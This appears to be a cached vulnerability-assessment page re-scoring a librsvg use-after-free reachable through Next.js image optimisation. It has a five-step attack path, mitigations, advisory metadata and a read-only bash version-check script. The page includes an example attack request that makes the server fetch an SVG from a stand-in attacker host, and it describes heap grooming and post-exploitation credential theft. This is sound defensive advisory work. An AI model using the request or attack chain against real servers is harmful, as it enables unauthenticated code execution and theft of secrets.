← Back to Feed CACHED · 2026-10-16 17:18:32 · CACHE_KEY CVE-2026-96889
CVE-2026-96889 · CWE-416 · Disclosed 2026-09-23

librsvg Use-After-Free via Duplicate XML Entities in Nested XInclude (VectorFreed)

ASSESSED — NOISGATE
Vendor
—
—
—
Reassessed
—
—
—
Verdict: —
Do you agree?
01 · The Real Story

The vendor graded the bullet but forgot to check it was already loaded in a rifle aimed at 2 million web servers

CVE-2026-96889 is a use-after-free in librsvg, the GNOME SVG rendering library. When an SVG document contains nested XInclude directives with duplicate entity declarations, librsvg replaces and frees the first entity via entity_insert() while libxml2's xmlCtxtParseEntity() is still holding a pointer to it. The dangling pointer lets subsequent writes corrupt heap memory, leading to denial of service or arbitrary code execution. The flaw exists in all librsvg versions before 2.63.2 (with backports to 2.62.4, 2.61.5, 2.60.3, 2.57.5, and 2.56.6). It is present in RHEL 6–10 and every Linux distribution shipping the affected package. Downstream, the sharp npm image library (< 0.35.5) bundles librsvg and is used by Next.js (10.0.0–15.5.27, 16.0.0–16.4.0) for its default-on Image Optimization API at /_next/image.

Red Hat scored this 7.8 HIGH with AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — an honest assessment if your threat model stops at 'user opens a crafted SVG on a Linux desktop.' It does not. Vercel's own advisory (GHSA-2464-fhr4-w9xw) rates the Next.js impact at CVSS v4 9.5 CRITICAL because the Image Optimization endpoint accepts arbitrary image URLs without authentication. An attacker hosts a weaponized SVG, sends /_next/image?url=https://evil.example/pwn.svg&w=128&q=75, and the server-side sharp pipeline feeds it straight to librsvg on glibc-based Linux. No user interaction, no credentials, no click. Censys data shows 2.15 million Next.js services reachable on the public internet. The vendor's 7.8 is not wrong — it is dangerously incomplete.

"Vendor scored the library; the internet runs Next.js. This is unauth RCE at scale."
02 · The Attack Path

5 steps from start to impact.

STEP 01

Identify target Next.js deployment

The attacker scans for the /_next/image endpoint, which is enabled by default on all Next.js installations since version 10. Mass discovery is trivial via Shodan/Censys/FOFA; the x-powered-by: Next.js header and predictable static paths (/_next/static/) fingerprint the framework instantly. Over 2.15 million deployments are internet-facing.
Conditions required:
  • Target runs Next.js ≥10.0.0 with default Image Optimization enabled
  • Target is reachable over the network
Where this breaks in practice:
  • Image Optimization can be disabled via images.unoptimized: true in next.config.js, but this is rare in production because it degrades Core Web Vitals
  • Some deployments front the endpoint with a CDN that caches and never passes SVG through to origin
Detection/coverage: Shodan dork http.component:next.js; Censys query services.http.response.headers.x_powered_by: Next.js; WAF logs for /_next/image with url= parameter pointing to external domains
STEP 02

Host malicious SVG with nested XInclude

The attacker crafts an SVG containing nested XInclude directives that reference a second SVG declaring an entity with the same name as one in the outer document. This triggers the use-after-free in librsvg. The PoC by Rafael B. Dias (VectorFreed, github.com/rafabd1/VectorFreed) documents the construction. A second PoC by lion9453 is indexed on Sploitus. The attacker hosts the SVG on any public URL they control.
Conditions required:
  • Attacker can host a file on a URL reachable by the target server
  • Attacker understands the XInclude/entity collision pattern (public PoC available)
Where this breaks in practice:
  • Next.js images.remotePatterns can restrict allowed image source domains, but many apps use a permissive wildcard or allow arbitrary URLs for user-generated content
Detection/coverage: WAF rules inspecting /_next/image?url= for off-domain or .svg URLs; egress monitoring for the Next.js process fetching external SVGs
STEP 03

Trigger server-side SVG processing

The attacker sends GET /_next/image?url=https://evil.example/exploit.svg&w=128&q=75 to the target. No authentication is required. Next.js fetches the SVG, passes it to sharp, which invokes libvips → librsvg for SVG rasterization. The malicious XInclude triggers the use-after-free during parsing.
Conditions required:
  • No authentication — endpoint is public by design
  • Target runs on glibc-based Linux (Debian, Ubuntu, RHEL, Fedora, Amazon Linux — the vast majority of production deployments)
Where this breaks in practice:
  • Alpine Linux / musl-based containers are NOT vulnerable because the heap layout differs and the freed chunk is not reallocated predictably
  • Some Vercel-hosted deployments use a sandboxed image pipeline that may limit exploitation
Detection/coverage: Application logs showing /_next/image requests with external SVG URLs; SIEM alerts on unusual libxml2/librsvg crash signals (SIGSEGV/SIGABRT in Node.js worker)
STEP 04

Corrupt heap to gain code execution

The use-after-free leaves a dangling pointer to a freed xmlEntity struct. If the glibc allocator recycles that chunk for attacker-influenced data (e.g., another entity value or SVG attribute string), subsequent writes through the stale pointer overwrite controlled memory. The VectorFreed writeup demonstrates steering execution to attacker-supplied content. There is no universal fire-and-forget PoC — payloads must be tuned to the target's build (glibc version, ASLR, compiler flags) — but the primitives are well-understood.
Conditions required:
  • Target uses glibc (not musl)
  • Heap layout must cooperate — attacker may need multiple requests to groom the heap
Where this breaks in practice:
  • ASLR and stack canaries raise the bar; exploitation is probabilistic rather than deterministic on hardened builds
  • Some distributions compile librsvg with AddressSanitizer or CFI in debug/test builds, though production rarely does
Detection/coverage: EDR/host-based detection for anomalous child processes spawned by the Node.js worker; crash dumps showing SIGSEGV in librsvg or libxml2 stack frames
STEP 05

Execute arbitrary commands as the Node.js process

Successful exploitation runs attacker code in the context of the Next.js server process. This typically has access to environment variables containing database credentials, API keys, cloud IAM tokens, and session secrets. From here the attacker can exfiltrate data, pivot into cloud infrastructure via IMDS/workload identity, or establish persistence. On Kubernetes pods, the compromised container may reach internal services via the cluster network.
Conditions required:
  • Heap corruption succeeded in step 4
Where this breaks in practice:
  • Principle of least privilege / read-only filesystems limit persistence
  • Network policies or VPC security groups may constrain lateral movement
Detection/coverage: Runtime security (Falco, Sysdig, Aqua) alerting on unexpected process execution or network connections from the Next.js container; cloud audit logs for IMDS credential retrieval
03 · Compensating Control

1
CRITICAL 9.3→IGNORE 0.0
SEVERITY REDUCED
Upgrade sharp to ≥ 0.35.5 in all Node.js projects — This is the fastest remediation for the Next.js/sharp attack vector. sharp 0.35.5 bundles librsvg 2.63.2 with the fix. Run npm audit fix or pin [email protected] in package.json. Deploy within 3 days per the noisgate mitigation SLA for CRITICAL.
2
CRITICAL 9.3→IGNORE 0.0
SEVERITY REDUCED
Block SVG processing in Next.js Image Optimization — Set images: { dangerouslyAllowSVG: false } in next.config.js (this is the default in Next.js ≥13 but may be overridden). If SVG support is not needed, this eliminates the attack vector entirely without upgrading sharp. For older Next.js versions where SVG is implicitly allowed, add a remotePatterns configuration that rejects .svg URLs. Deploy within 3 days.
3
CRITICAL 9.3→HIGH 7.5
SEVERITY REDUCED
WAF rule: block /_next/image requests with external SVG URLs — Add a WAF rule (Cloudflare, AWS WAF, Akamai) that inspects the url query parameter on /_next/image and blocks requests where the URL ends in .svg or has Content-Type: image/svg+xml. This is a defense-in-depth measure — it can be bypassed if the attacker controls a URL that serves SVG with a non-.svg extension, but it raises the bar. Deploy within 3 days.
4
CRITICAL 9.3→MEDIUM 5.3
SEVERITY REDUCED
Migrate Node.js containers to Alpine/musl-based images — The use-after-free exploitation relies on glibc heap behavior. Alpine Linux uses musl libc, where the freed chunk is not reallocated predictably, making the exploit non-functional. Switching from node:20 to node:20-alpine eliminates the RCE path (DoS may still be possible). This is a longer-term architectural change — target within 30 days if sharp upgrade is not immediately feasible.
5
CRITICAL 9.3→IGNORE 0.0
SEVERITY REDUCED
Upgrade librsvg to ≥ 2.63.2 on all Linux hosts — For non-Node.js librsvg consumers (GNOME desktop, document rendering pipelines, thumbnailers), apply the distro package update. This addresses the standalone librsvg vector (AV:L/UI:R). RHEL patches are under investigation; Debian/Ubuntu tracking is in progress. Target within 3 days for servers processing untrusted SVGs, 90 days for desktop workstations per noisgate remediation SLA.
What doesn't work
  • Content Security Policy (CSP) headers — CSP is a client-side browser control. This vulnerability is server-side; the malicious SVG is processed by the Node.js backend, not rendered in a browser. CSP has zero effect.
  • Rate limiting on /_next/image — a single request is sufficient to trigger the use-after-free. Rate limiting slows brute-force heap grooming but does not prevent exploitation.
  • Network segmentation alone — the /_next/image endpoint is intentionally public-facing. Segmenting the Next.js server from internal resources helps limit post-exploitation lateral movement but does not prevent the initial compromise.
  • Disabling XInclude in libxml2 globally — librsvg uses its own XML parsing configuration. There is no user-facing knob to disable XInclude processing without patching the library itself.
04 · Intelligence Metadata

The supporting signals.

In-the-Wild StatusNo confirmed active exploitation as of 2026-10-17. Not listed in CISA KEV. However, the Next.js attack surface is enormous (2.15M+ exposed) and PoCs are public — the window between disclosure and mass scanning is historically short for Next.js vulns (cf. React2Shell was weaponized within 24 hours).
Proof-of-ConceptTwo public PoCs: (1) rafabd1/VectorFreed — documents the full RCE chain from SVG to code execution in Next.js/sharp/libvips, by Rafael B. Dias; (2) lion9453 PoC indexed on Sploitus. Neither is a universal one-click RCE — heap grooming must be tuned per target — but the primitives and methodology are fully public.
EPSS0.00151 (approximately 15th percentile). This is low but likely stale — the Next.js advisory and PoCs dropped Oct 6–14, and EPSS models update with a lag. Expect this to climb significantly once scanner traffic is observed.
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) — Red Hat's librsvg-only assessment. Vercel rates the Next.js context at CVSSv4 9.5 (AV:N/AC:L/AT:P/PR:N/UI:N). The sharp GHSA (GHSA-wq5f-xc86-pv6w) rates it 9.3 CRITICAL. The delta is entirely explained by the change from local+user-interaction to network+no-auth.
Affected Versionslibrsvg < 2.63.2 (all branches). sharp < 0.35.5. Next.js 10.0.0–15.5.27 and 16.0.0–16.4.0. Ghost CMS 6.56.0–6.67.0. Any application using sharp or libvips with SVG input on glibc Linux.
Fixed Versionslibrsvg 2.63.2 (backports: 2.62.4, 2.61.5, 2.60.3, 2.57.5, 2.56.6). sharp 0.35.5. Next.js 15.5.28, 16.4.1 (released Oct 14, 2026). Ghost 6.67.0. Distro patches: RHEL under investigation; Debian/Ubuntu tracking in progress.
Exposure DataCensys/Shodan report 2.15 million internet-facing Next.js deployments. Not all run self-hosted image optimization (Vercel-hosted apps use a managed pipeline), but a significant fraction of self-hosted enterprise deployments do. No GreyNoise tags observed yet for CVE-2026-96889 scanning as of Oct 17.
Disclosure Timelinelibrsvg fix committed 2026-09-22. CVE published 2026-09-23. sharp 0.35.5 released 2026-09-27. sharp GHSA published 2026-10-06. Next.js out-of-band patch 2026-10-14. VectorFreed PoC published between Oct 6–14.
Reporting ResearcherRafael B. Dias (@rafabd1) — discovered the UAF and developed the VectorFreed exploitation chain. Tracked as RUSTSEC-2026-0305 and GNOME librsvg issue #1241.
Related AdvisoriesGHSA-2464-fhr4-w9xw (Next.js), GHSA-wq5f-xc86-pv6w (sharp), RUSTSEC-2026-0305, Red Hat Bugzilla #2539279

Sources.

  1. Next.js Advisory GHSA-2464-fhr4-w9xw (Vercel)
  2. sharp Advisory GHSA-wq5f-xc86-pv6w
  3. VectorFreed PoC — rafabd1
  4. Red Hat CVE-2026-96889
  5. Red Hat Bugzilla #2539279
  6. The Hacker News — Next.js Out-of-Band Patch
  7. Censys — 2.15M Next.js Services Exposed
  8. Debian Security Tracker — CVE-2026-96889
05 · The Call

Final Verdict
↑ UPGRADED to CRITICAL (9.3/10)

Why this verdict

  • Vendor score is context-blind. Red Hat scored the librsvg flaw at 7.8 with AV:L and UI:R. That is correct for a desktop Linux user opening a booby-trapped SVG. It completely ignores the dominant real-world exposure: server-side SVG processing via Next.js Image Optimization, which is AV:N, PR:N, UI:N.
  • Attack surface is massive and default-on. Next.js Image Optimization is enabled by default in every version since 10.0.0. Censys shows 2.15 million internet-facing Next.js services. Self-hosted deployments routinely accept arbitrary image URLs. The /_next/image endpoint requires zero authentication.
  • Public PoC lowers the bar. VectorFreed (rafabd1) and the lion9453 PoC provide the full methodology for steering the use-after-free to code execution. While heap grooming is target-specific, the primitives are documented and the attack is reproducible. This moves exploitation from 'theoretical' to 'engineering effort.'
  • glibc requirement is not meaningful friction. The vulnerability requires glibc-based Linux. Alpine/musl deployments are not vulnerable. However, the overwhelming majority of production Node.js containers use Debian/Ubuntu-based images (node:18, node:20, node:22 official images are all Debian). This eliminates perhaps 10–15% of deployments, not 90%.
  • Role multiplier: Next.js production servers are high-value network-edge assets. The affected component (Next.js Image Optimization) is by definition internet-facing. Successful exploitation yields the Node.js process context, which typically holds database credentials, API keys, cloud IAM tokens, and session secrets in environment variables. On cloud deployments, IMDS/workload identity provides lateral movement into cloud infrastructure. Blast radius: server → tenant → cloud account → potentially fleet-scale. Next.js is canonically a network-edge component — ≥10% of the installed base of librsvg-consuming applications sits in this high-value role via the sharp dependency chain. Verdict floor: CRITICAL.
  • Role multiplier: CI/CD and build pipelines. sharp is also used in static site generation build steps, image processing microservices, and CI/CD pipelines. A compromised build pipeline is supply-chain-scale impact. This reinforces the CRITICAL floor.
  • Held back from 9.8 due to exploitation complexity. There is no universal one-click RCE. Heap grooming must be tuned per glibc version and build configuration. ASLR adds probabilistic failure. This keeps the score at 9.3 rather than 9.8.

Why not higher?

A score above 9.3 would require a deterministic, universal exploit that works across all glibc versions without heap grooming. The current PoCs demonstrate the full chain but require target-specific tuning — heap layout varies by glibc version, compiler flags, and workload. ASLR remains a meaningful (if not decisive) barrier. Additionally, Vercel-hosted Next.js deployments may use a sandboxed image pipeline that limits exploitation, reducing the effective population somewhat.

Why not lower?

A score below 9.3 would undercount the attack surface. The endpoint is unauthenticated, network-facing, and default-on across 2.15 million exposed services. Two public PoCs exist. The vendor's 7.8 treats this as a local desktop bug requiring user interaction — that framing is simply wrong for the dominant deployment context. The glibc requirement does not materially reduce the exposed population (most production containers are Debian/Ubuntu-based). Any downgrade below CRITICAL ignores the deployment-role floor: Next.js servers are canonically internet-facing, high-value assets.

06 · Verification

Crowdsourced verification payload.

Run this script on each target host (Linux servers running Node.js applications or the librsvg system package). Execute as any user with read access to the Node.js project directories. Example: bash check_cve_2026_96889.sh /opt/myapp where the argument is the root of your Next.js/Node.js project. Omit the argument to check only the system librsvg package.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check_cve_2026_96889.sh — Detect CVE-2026-96889 (librsvg UAF)
# Usage: bash check_cve_2026_96889.sh [/path/to/nodejs/project]
# Exit codes: 0 = PATCHED, 1 = VULNERABLE, 2 = UNKNOWN

set -euo pipefail

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'
VULNERABLE=0
CHECKED=0

version_lt() {
  # Returns 0 if $1 < $2 (semver-ish)
  [ "$(printf '%s\n' "$1" "$2" | sort -V | head -n1)" = "$1" ] && [ "$1" != "$2" ]
}

# --- Check system librsvg ---
echo "[*] Checking system librsvg..."
RSVG_VER=""
if command -v rsvg-convert &>/dev/null; then
  RSVG_VER=$(rsvg-convert --version 2>/dev/null | grep -oP '\d+\.\d+\.\d+' | head -1 || true)
elif command -v dpkg &>/dev/null; then
  RSVG_VER=$(dpkg -l 'librsvg2*' 2>/dev/null | awk '/^ii/{print $3}' | grep -oP '\d+\.\d+\.\d+' | head -1 || true)
elif command -v rpm &>/dev/null; then
  RSVG_VER=$(rpm -q librsvg2 2>/dev/null | grep -oP '\d+\.\d+\.\d+' | head -1 || true)
fi

if [ -n "$RSVG_VER" ]; then
  CHECKED=1
  if version_lt "$RSVG_VER" "2.63.2"; then
    echo -e "${RED}[!] VULNERABLE: system librsvg $RSVG_VER < 2.63.2${NC}"
    VULNERABLE=1
  else
    echo -e "${GREEN}[+] PATCHED: system librsvg $RSVG_VER >= 2.63.2${NC}"
  fi
else
  echo "[*] No system librsvg detected (or not installed)."
fi

# --- Check Node.js sharp dependency ---
PROJECT_DIR="${1:-}"
if [ -n "$PROJECT_DIR" ] && [ -d "$PROJECT_DIR" ]; then
  echo "[*] Checking sharp in $PROJECT_DIR..."
  SHARP_PKG="$PROJECT_DIR/node_modules/sharp/package.json"
  if [ -f "$SHARP_PKG" ]; then
    CHECKED=1
    SHARP_VER=$(grep -oP '"version"\s*:\s*"\K[^"]+' "$SHARP_PKG" 2>/dev/null || true)
    if [ -n "$SHARP_VER" ]; then
      if version_lt "$SHARP_VER" "0.35.5"; then
        echo -e "${RED}[!] VULNERABLE: sharp $SHARP_VER < 0.35.5${NC}"
        VULNERABLE=1
        # Also check if Next.js is present
        NEXT_PKG="$PROJECT_DIR/node_modules/next/package.json"
        if [ -f "$NEXT_PKG" ]; then
          NEXT_VER=$(grep -oP '"version"\s*:\s*"\K[^"]+' "$NEXT_PKG" 2>/dev/null || true)
          echo -e "${RED}    Next.js $NEXT_VER detected — /_next/image is an unauth RCE vector${NC}"
        fi
      else
        echo -e "${GREEN}[+] PATCHED: sharp $SHARP_VER >= 0.35.5${NC}"
      fi
    fi
  else
    echo "[*] sharp not found in $PROJECT_DIR/node_modules/"
  fi

  # Check libc type (glibc vs musl)
  echo "[*] Checking libc type..."
  if ldd --version 2>&1 | grep -qi musl; then
    echo -e "${GREEN}[+] musl libc detected — RCE exploitation is not feasible (DoS only)${NC}"
  elif ldd --version 2>&1 | grep -qi glibc; then
    GLIBC_VER=$(ldd --version 2>&1 | head -1 | grep -oP '\d+\.\d+' | tail -1 || true)
    echo -e "${YELLOW}[!] glibc $GLIBC_VER detected — RCE exploitation IS feasible${NC}"
  fi
else
  [ -n "$PROJECT_DIR" ] && echo "[*] Directory $PROJECT_DIR not found."
fi

# --- Verdict ---
echo ""
if [ "$CHECKED" -eq 0 ]; then
  echo -e "${YELLOW}UNKNOWN — neither librsvg nor sharp detected on this host${NC}"
  exit 2
elif [ "$VULNERABLE" -eq 1 ]; then
  echo -e "${RED}VULNERABLE — CVE-2026-96889 affects this host${NC}"
  exit 1
else
  echo -e "${GREEN}PATCHED — no vulnerable librsvg/sharp versions found${NC}"
  exit 0
fi